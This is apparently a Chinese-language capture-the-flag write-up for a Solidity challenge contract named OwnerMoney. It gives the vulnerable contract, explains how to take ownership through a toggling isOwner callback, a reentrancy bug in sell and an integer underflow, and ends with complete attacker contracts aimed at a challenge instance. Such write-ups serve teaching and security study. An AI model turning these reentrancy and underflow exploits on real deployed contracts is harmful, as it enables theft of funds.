Fork me on GitHub
pikachu's Blog

OwnerMoney

前言

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
pragma solidity ^0.4.23;

interface Changing {
function isOwner(address) view public returns (bool);
}

contract OwnerMoney {

address private owner;
address private backup;

mapping(address => uint) public balanceOf;
mapping(address => bool) public status;
mapping(address => uint) public buyTimes;

constructor() {
owner = msg.sender;
backup = msg.sender;
}

event pikapika_SendFlag(string b64email);

modifier onlyOwner(){
require(msg.sender == owner);
_;
}

function payforflag(string b64email) onlyOwner public {

require(buyTimes[msg.sender] >= 100);
_init();
buyTimes[msg.sender] = 0;

address(0x4cfbdFE01DAEF460B925773754821E7461750923).transfer(address(this).balance);
emit pikapika_SendFlag(b64email);

}

function _init() internal {
owner = backup;
}

function change(address _owner) public {
Changing tmp = Changing(msg.sender);
if(!tmp.isOwner(_owner)){
status[msg.sender] = tmp.isOwner(_owner);
}
}

function change_Owner() {

require(tx.origin != msg.sender);
require(uint(msg.sender) & 0xfff == 0xfff);

if(status[msg.sender] == true){
status[msg.sender] = false;
owner = msg.sender;
}
}

function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(_value > 0);

uint256 oldFromBalance = balanceOf[_from];
uint256 oldToBalance = balanceOf[_to];

uint256 newFromBalance = balanceOf[_from] - _value;
uint256 newToBalance = balanceOf[_to] + _value;

require(oldFromBalance >= _value);
require(newToBalance > oldToBalance);

balanceOf[_from] = newFromBalance;
balanceOf[_to] = newToBalance;

assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));
}

function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}

function buy() payable public returns (bool success){
require(tx.origin != msg.sender);
require(uint(msg.sender) & 0xfff == 0xfff);
require(buyTimes[msg.sender]==0);
require(balanceOf[msg.sender]==0);
require(msg.value == 1 wei);
balanceOf[msg.sender] = 100;
buyTimes[msg.sender] = 1;
return true;
}

function sell(uint256 _amount) public returns (bool success){
require(_amount >= 200);
require(buyTimes[msg.sender] > 0);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);
msg.sender.call.value(_amount)();
_transfer(msg.sender, address(this), _amount);
buyTimes[msg.sender] -= 1;
return true;
}

function balance0f(address _address) public view returns (uint256 balance) {
return balanceOf[_address];
}

function eth_balance() public view returns (uint256 ethBalance){
return address(this).balance;
}

}

Analyse

  • 查看 payforflag ,我们需要成为 owner ,同时 buyTimes[msg.sender] >= 100
  • 想要成为 owner ,可以通过 change_owner 函数实现

    • change_owner 函数要求必须通过合约调用,而不是外部账户调用,同时要求合约地址最后三位是 0xfff ,可以参考 https://hitcxy.com/2020/generate-address/
    • status[msg.sender] 要求为 true :可以通过 change(address _owner) 解决,Changing 接口中声明了 isOwner 函数,用户可自行编写,要使 status[msg.sender] = true ,则 tmp.isOwner(_owner) 第一次调用需返回 false ,第二次调用返回 true ,所以就有了思路:设置一个初始值为 true 的变量,每次调用 isOwner()时,将其取反再返回。这样便满足了我们是 owner ,只需再满足 buyTimes[msg.sender] >= 100
  • 发现只有 sell 函数,会有 buyTimes[msg.sender] -= 1 的操作,其实这是重入问题,这里需要满足 require(_amount >= 200) ,但是 buy 只能给 100 ,典型的薅羊毛问题,最后再利用整数下溢即可满足 buyTimes[msg.sender] >= 100

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
pragma solidity ^0.4.23;

contract attack1 {

address instance_address = 0xb9f9a887b06b54ab851928f3bc721b120876196b ;
OwnerMoney target = OwnerMoney(instance_address);
bool public flag = true;
uint public have_sell = 0;

constructor() payable {}

function isOwner(address) public returns (bool){
flag = !flag;
return flag;
}

function hack1() {
target.change(address(this));

target.change_Owner();

target.buy.value(1)();
}

function hack2() {
target.sell(200);
}

function hack3(string b64email) {
target.payforflag(b64email);
}

function() payable {
if (have_sell < 1) {
have_sell += 1;
target.sell(200);
}
}
}

contract attack2 {
address instance_address = 0xb9f9a887b06b54ab851928f3bc721b120876196b;
OwnerMoney target = OwnerMoney(instance_address);

constructor() payable {}

function hack1() {
target.buy.value(1)();
target.transfer(0xde76c7f9fff36f128d153ee068ccd5a0e7b9afff,100);
}

}
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2020/OwnerMoney/
Contact:hitcxy.cn@gmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!